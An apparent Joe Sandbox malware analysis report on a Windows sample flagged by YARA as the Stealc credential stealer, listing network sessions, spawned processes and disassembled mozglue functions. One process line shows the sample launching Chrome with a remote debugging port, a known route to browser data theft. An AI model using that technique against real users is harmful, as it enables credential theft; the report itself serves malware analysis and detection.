2024-10-29 03:53:24 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49903	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:53:25 UTC	192	OUT	GET /rules/rule700901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:53:25 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:53:25 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1038EF2" x-ms-request-id: 94cf4c5c-c01e-0034-1914-272af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T035325Z-16849878b7867ttgfbpnfxt44s00000005u000000000g677 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:53:25 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Target ID:	0
Start time:	23:52:00
Start date:	28/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x350000
File size:	2'177'024 bytes
MD5 hash:	82FFB0D94C7F912B03D1FEEE6F614605
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1730489786.0000000004C50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2082345429.000000000119E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2080967365.0000000000351000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2082345429.0000000001213000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	23:52:11
Start date:	28/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:52:12
Start date:	28/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2500 --field-trial-handle=2432,i,10837436430540024699,4376489110652293416,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C5035A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C58F688,00001000), ref: 6C5035D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5035E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C5035FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C50363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C50369F
__aulldiv.LIBCMT ref: 6C5036E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C503773
EnterCriticalSection.KERNEL32(6C58F688), ref: 6C50377E
LeaveCriticalSection.KERNEL32(6C58F688), ref: 6C5037BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C5037C4
EnterCriticalSection.KERNEL32(6C58F688), ref: 6C5037CB
LeaveCriticalSection.KERNEL32(6C58F688), ref: 6C503801
__aulldiv.LIBCMT ref: 6C503883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C503902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C503918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C50394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6C5035DB
GenuntelineI, xrefs: 6C503639
GTC, xrefs: 6C503912
AuthcAMDenti, xrefs: 6C503946
QPC, xrefs: 6C5038FC

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 66424eebea0e3594e9b9c827d8005389c4453fc1403476772a15141d72cea47d
Instruction ID: 56837bceb348e7a6386c132f6025b0974f4aa5518db87f6b57905618f2cf7307
Opcode Fuzzy Hash: 66424eebea0e3594e9b9c827d8005389c4453fc1403476772a15141d72cea47d
Instruction Fuzzy Hash: C7B1A175B063209FDB08DF29CC45A1A7BF5BB8F700F169A2DE899D3750D770A9008B99

Function 6C51C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C51C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C51C969
GetSystemInfo.KERNEL32(?), ref: 6C51C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C51C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C51C9E2

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: aef777a656536302ca65bb47f164b8336fda5eddb4c1b2b3edb844514e5bced1
Instruction ID: 76f1251c72432eb71f02ca72949187eda325e35ed3e6aa269d1311ca5bf18be3
Opcode Fuzzy Hash: aef777a656536302ca65bb47f164b8336fda5eddb4c1b2b3edb844514e5bced1
Instruction Fuzzy Hash: 85212F31706224ABEB04BA64CC88BAE73B9AB87700F511529F90797F40E7717C04C794

Function 6C503060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C503095

Part of subcall function 6C5035A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C58F688,00001000), ref: 6C5035D5
Part of subcall function 6C5035A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5035E0
Part of subcall function 6C5035A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C5035FD
Part of subcall function 6C5035A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C50363F
Part of subcall function 6C5035A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C50369F
Part of subcall function 6C5035A0: __aulldiv.LIBCMT ref: 6C5036E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C50309F

Part of subcall function 6C525B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5256EE,?,00000001), ref: 6C525B85
Part of subcall function 6C525B50: EnterCriticalSection.KERNEL32(6C58F688,?,?,?,6C5256EE,?,00000001), ref: 6C525B90
Part of subcall function 6C525B50: LeaveCriticalSection.KERNEL32(6C58F688,?,?,?,6C5256EE,?,00000001), ref: 6C525BD8
Part of subcall function 6C525B50: GetTickCount64.KERNEL32 ref: 6C525BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C5030BE

Part of subcall function 6C5030F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C503127
Part of subcall function 6C5030F0: __aulldiv.LIBCMT ref: 6C503140

Part of subcall function 6C53AB2A: __onexit.LIBCMT ref: 6C53AB30

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 47ce95474a8281a4bfd183990819080691bc99102d54fbda743725d3713b7b49
Instruction ID: ec365c589e8acac7d9e720e375889227bf57a621577fbc23d3694d8014ea9164
Opcode Fuzzy Hash: 47ce95474a8281a4bfd183990819080691bc99102d54fbda743725d3713b7b49
Instruction Fuzzy Hash: EDF02D32E21B54D7CB10DF758C416E67370AFAF214F523719E84957561FB2066D883CA

Non-executed Functions

Function 6C515440 Relevance: 140.6, APIs: 54, Strings: 26, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C515492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5154A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5154BE
__Init_thread_footer.LIBCMT ref: 6C5154DB

Part of subcall function 6C53AB3F: EnterCriticalSection.KERNEL32(6C58E370,?,?,6C503527,6C58F6CC,?,?,?,?,?,?,?,?,6C503284), ref: 6C53AB49
Part of subcall function 6C53AB3F: LeaveCriticalSection.KERNEL32(6C58E370,?,6C503527,6C58F6CC,?,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C53AB7C

Part of subcall function 6C53CBE8: GetCurrentProcess.KERNEL32(?,6C5031A7), ref: 6C53CBF1
Part of subcall function 6C53CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5031A7), ref: 6C53CBFA

GetCurrentThreadId.KERNEL32 ref: 6C5154F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C515516
GetCurrentThreadId.KERNEL32 ref: 6C51556A
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C515577
moz_xmalloc.MOZGLUE(00000070), ref: 6C515585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C515590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C5155E6
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C515606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C515616

Part of subcall function 6C53AB89: EnterCriticalSection.KERNEL32(6C58E370,?,?,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284), ref: 6C53AB94
Part of subcall function 6C53AB89: LeaveCriticalSection.KERNEL32(6C58E370,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C53ABD1

GetCurrentThreadId.KERNEL32 ref: 6C51563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C515646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C51567C
free.MOZGLUE(?), ref: 6C5156AE

Part of subcall function 6C525E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C525EDB
Part of subcall function 6C525E90: memset.VCRUNTIME140(ewVl,000000E5,?), ref: 6C525F27
Part of subcall function 6C525E90: LeaveCriticalSection.KERNEL32(?), ref: 6C525FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C5156E8
GetCurrentThreadId.KERNEL32 ref: 6C515707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C51570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C515729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C51574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C51576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C515796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C5157B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C5157CA

Strings

[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C515AC9
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C515D2B
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C5157AE
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C51548D
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C5156E3
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C515791
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C515C56
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C5157C5
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C515749
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C515BBE
MOZ_BASE_PROFILER_HELP, xrefs: 6C515511
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5154B9
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C515717
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C515724
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C515D1C
GeckoMain, xrefs: 6C515554, 6C5155D5
stry\src\index.crates.io-6f17d22bba15001f\bytes-1.8.0\src\bytes.rs, xrefs: 6C5157BC
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C515CF9
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C515D01
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C515D24
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C515B38
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C51584E
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C515766
[I %d/%d] profiler_init, xrefs: 6C51564E
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5154A3
MOZ_PROFILER_STARTUP, xrefs: 6C5155E1

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init$stry\src\index.crates.io-6f17d22bba15001f\bytes-1.8.0\src\bytes.rs
API String ID: 3686969729-1437185511
Opcode ID: f8e97be285cee94c126ef65ba9f2712d563968d337bddf5d432615059e9c6066
Instruction ID: 61012a60fb22191b019ae1dac1f81ec25c901c8111860dd658c050964a7f361b
Opcode Fuzzy Hash: f8e97be285cee94c126ef65ba9f2712d563968d337bddf5d432615059e9c6066
Instruction Fuzzy Hash: B6221470A09320DFFB00AF74CC4965A77B4EF87348F954A2AE84697E41EB349948CB57

Function 6C54B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C54B845
AcquireSRWLockExclusive.KERNEL32(6C58F4B8,?,?,00000000), ref: 6C54B852
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54B884
InitializeConditionVariable.KERNEL32(?), ref: 6C54B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C54B9FD
GetCurrentThreadId.KERNEL32 ref: 6C54BA05
AcquireSRWLockExclusive.KERNEL32(6C58F4B8,?,?,00000000), ref: 6C54BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C54BA27
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54BA4B
free.MOZGLUE(?), ref: 6C54C9C7
free.MOZGLUE(?), ref: 6C54C9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C54C7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C54C878

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 467fdffbce998c98606e2faa513bfdf478c442b5c1aab1cda0fc465b8292b62b
Instruction ID: db94d0338198fa5a91f3e113512c52adf0cbb78688a9cbb31a645d61fc8f6eb1
Opcode Fuzzy Hash: 467fdffbce998c98606e2faa513bfdf478c442b5c1aab1cda0fc465b8292b62b
Instruction Fuzzy Hash: 63A2B071A087908FC725DF28C88079FB7E5BFC9314F458A2DE89997750DB70A909CB82

Function 6C516C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C516CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C516D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C516D26

Part of subcall function 6C51CA10: malloc.MOZGLUE(?), ref: 6C51CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C516D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C516D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C516D73
free.MOZGLUE(00000000), ref: 6C516D80
CertGetNameStringW.CRYPT32 ref: 6C516DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C516DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C516DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C516DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C516E10
CryptMsgClose.CRYPT32(00000000), ref: 6C516E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C516E34
CreateFileW.KERNEL32 ref: 6C516EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C516F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C516F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C51709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C517103
free.MOZGLUE(00000000), ref: 6C517153
CloseHandle.KERNEL32(?), ref: 6C517176
__Init_thread_footer.LIBCMT ref: 6C517209
__Init_thread_footer.LIBCMT ref: 6C51723A
__Init_thread_footer.LIBCMT ref: 6C51726B
__Init_thread_footer.LIBCMT ref: 6C51729C
__Init_thread_footer.LIBCMT ref: 6C5172DC
__Init_thread_footer.LIBCMT ref: 6C51730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C5173C2
VerSetConditionMask.NTDLL ref: 6C5173F3
VerSetConditionMask.NTDLL ref: 6C5173FF
VerSetConditionMask.NTDLL ref: 6C517406
VerSetConditionMask.NTDLL ref: 6C51740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C51741A
moz_xmalloc.MOZGLUE(?), ref: 6C51755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C517568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C517585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C517598
free.MOZGLUE(00000000), ref: 6C5175AC

Part of subcall function 6C53AB89: EnterCriticalSection.KERNEL32(6C58E370,?,?,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284), ref: 6C53AB94
Part of subcall function 6C53AB89: LeaveCriticalSection.KERNEL32(6C58E370,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C53ABD1

Strings

SHA256, xrefs: 6C516EC0
(, xrefs: 6C51768A
wintrust.dll, xrefs: 6C5172CD
CryptCATAdminReleaseCatalogContext, xrefs: 6C5172C8

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

